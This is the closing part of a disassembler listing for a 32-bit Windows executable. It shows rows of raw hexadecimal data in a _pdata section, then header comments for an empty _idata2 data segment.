		dd 0ED8E26C3h, 9A283F82h, 0DFD36076h, 6C0B4A70h, 3DDE4D53h
		dd 0C38F4B4Bh, 0D033F8BDh, 0B5E72484h, 0C23835ABh, 0DC904700h
		dd 0EEC4D89Fh, 0A9099C8h, 12D53E3Fh, 90A5762Dh,	1914A24Dh
		dd 7EA26h, 7201B365h, 8E1B88EBh, 9EF8017Ch, 0FC2CA913h
		dd 288B5153h, 66BE8E9Dh, 0A18C8A03h, 675BFBD0h,	1EEF092Ch
		dd 5267027Eh, 0D2208117h, 30D1DB68h, 1B76B95Dh,	0DBDBFA3Ah
		dd 5FA74B00h, 0A63294EDh, 3C2B373h, 91B99CF4h, 0AE05DD57h
		dd 0C5808882h, 0AE74F5B9h, 753A2DE7h, 0A21AADB7h, 0A7334CD4h
		dd 1CD12825h, 142ED90Eh, 7125D9B5h, 0A58BC8A5h,	49A98EE2h
		dd 1B980771h, 0C5A88093h, 0FC82EAB4h, 95C8C99Ah, 8B531B61h
		dd 35FBA207h, 36EE9721h, 7ED1FEF3h, 556D0EFAh, 0A18FE391h
		dd 0DB56B3B8h, 80A46537h, 961E31EFh, 398A71D4h,	6E51205Fh
		dd 32299659h, 697E0D6Ch, 593B1D0Ah, 2185F7FFh, 656EE28Ch
		dd 761734A1h, 0D40D0538h, 3E55F4ADh, 4A7C5070h,	18027B5Dh
		dd 1F4F17FEh, 6BEF4FF4h, 0CB6BF3D4h, 9C39250Bh,	0CE7E352Bh
		dd 6FDD07Ch, 6FFAAD2Fh,	0F91C513Ch, 470F4B60h, 241AFA7Eh
		dd 8AE06792h, 0AEC130E4h, 2860EDEDh, 0F335EAFCh, 82EA9ACEh
		dd 0DF4A49DEh, 0EED95DA1h, 0E3A3C443h, 17D4F345h, 91FB7A39h
		dd 0D17AB86Ch, 3D7BF2Ah, 0B64A8012h, 0DF0CCDACh, 61C1AEF9h
		dd 534A36F0h, 26F7B40Fh, 8660AD74h, 0A090EC09h,	0E5C5BEE0h
		dd 26E2E162h, 24DAE8E8h, 9CD5CE9Ch, 0CBAF4B00h,	0A30D0F07h
		dd 0D3D77442h, 0AE7332Ah, 15FD9E86h, 646E158Dh,	0AF1BC212h
		dd 0B5E2B3D9h, 4E69FE08h, 401FA47h, 6CDBFE25h, 29F562F5h
		dd 0DA36F16Fh, 0E477A334h, 87CB2D9h, 8AED7750h,	4C8BF11Dh
		dd 9B8C505Fh, 0B72D343Bh, 8D195878h, 0FDC632CDh, 0DCD218E1h
		dd 385D626Dh, 0FFD9A270h, 8AE4323h, 57131C25h, 442C51FDh
		dd 0D2E59766h, 0EF874299h, 97E58756h, 0A9EA173h, 21ABFFADh
		dd 1F9841F3h, 717367CBh, 26FDE71Dh, 1CD03826h, 9142D77h
		dd 0B71440A6h, 49E73260h, 9818373Bh, 681E8AB8h,	6E80DAF8h
		dd 2E388DA9h, 0CCAF17AAh, 0C14E9357h, 0FFE2199Fh, 2F1B1358h
		dd 6AF7ECB9h, 74EC7D96h, 3D8F1B6Fh, 0F5302581h,	0A0F77E8h
		dd 0E1CAF4D9h, 43E82E1h, 43D879F4h, 4EA6DA58h, 1F551603h
		dd 58472903h, 0F85743C7h, 8CC98BB7h, 0A9CDA666h, 0E6C2E629h
		dd 0ABD7D78Ah, 0EA1A3259h, 0BD80AB1Ah, 64A9335h, 71BAD3BFh
		dd 183DA7C3h, 675017h, 8A8B5F70h, 7AD04801h, 403D6BECh
		dd 0EE851A12h, 0DECA1BD1h, 77103445h, 2892FBFCh, 0FB50E3F1h
		dd 0E9223B37h, 0EE50C4F5h, 3BD67F0h, 960335D1h,	2AFFFCCh
		dd 19F2CA8Eh, 21E010D8h, 494CA436h, 38FB621h, 647930EDh
		dd 818120E6h, 9E9BF9BDh, 0AA469B72h, 699E071Fh,	2C9D0610h
		dd 777A435h, 89548A49h,	4BB25B56h, 9AC9D15Eh, 0AFE4AB73h
		dd 15147D45h, 314180D1h, 4974F8F0h, 5E42C458h, 44B1A08Fh
		dd 4B60EDDCh, 992FBE6Bh, 9E931612h, 5098C132h, 0DDE4044h
		dd 6D87B471h, 21611710h, 744E220Ah, 44CF3392h, 41FF296Bh
		dd 1D394E34h, 3E7844C4h, 0D279B78Ah, 383E4319h,	0AB163067h
		dd 0FD0EAA0Dh, 0F058B19Ah, 1A24B4C3h, 474A25h, 0A896F526h
		dd 0FCD153FFh, 0D7FDE07Dh, 787C04D7h, 0DB9ABB2Fh, 21A13CF2h
		dd 1C64DB59h, 0C55DC4A0h, 0D88A5834h, 79722448h, 4AD203A4h
		dd 0D28CD542h, 0BECB0B04h, 5B92A62Dh, 5B9A662Dh, 5B92A42Dh
		dd 5B92A66Ch, 0B480B060h, 3DAE2A70h, 0DD2E117Ah, 64C62E23h
		dd 0BC9C742Dh, 301F98D7h, 0D5249D3Fh, 0FB26E8FEh, 0A9F2DE36h
		dd 20A3E87Ah, 7961C85h,	0A2A5B5CFh, 23575769h, 2D63423Eh
		dd 8E3FF93Ah, 0E08C86Ch, 92A62D16h, 92A62D5Bh, 995Bh, 9A00h
		dd 14C85B00h, 0F4330705h, 61742160h, 677B21Dh, 9A4BE21Eh
		dd 9ED880FCh, 86BEE962h, 6A8F0D79h, 0AF159E0Fh,	465862CFh
		dd 0CAAB4A68h, 0E00EB97Eh, 5373D738h, 8E0FC743h, 5D93E4FEh
		dd 92BB1F1Eh, 0E1504FC4h, 0DABFF1BBh, 6ED0C4D3h, 0A8992884h
		dd 0E0B2F2B1h, 7D97E216h, 15D68C82h, 5424FF32h,	1FDA2A04h
		dd 451F8FF0h, 0E5C05781h, 0F9AC54B1h, 600257A3h, 756AC036h
		dd 0D32BDEEAh, 2E1411D1h, 8CEC6C08h, 1A445463h,	0F1435D24h
		dd 5273C0E2h, 6C1B55AFh, 62724335h, 5C3264h, 3 dup(0)
		dd 8A000000h, 6F6991h, 8A000000h, 6F6991h, 1995h dup(0)
_pdata		ends

; Section 8. (virtual address 0014D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0014D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 54D000h
		align 2000h
_idata2		ends


		end start